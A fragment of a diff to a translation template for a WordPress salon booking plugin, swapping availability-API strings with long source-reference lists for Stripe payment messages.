build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31\n-msgid \"Date.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:119\n+msgid \"Payment confirmed via Stripe. Booking status has been updated to Paid.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128, src\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31, src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32, src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74\n-msgid \"Time.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:81\n+msgid \"Payment failed, please try again\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:40\n-msgid \"Selected services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:237\n+msgid \"Payment id\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the attendant name, %2$s will be replaced by the service name, %3$s will be replaced by the bookings day\n-#: src\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:83, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:83, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:83\n-msgid \"Attendant %1$s isn't available for %2$s service at %3$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:280\n+msgid \"Payment method failed, details: \"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52, 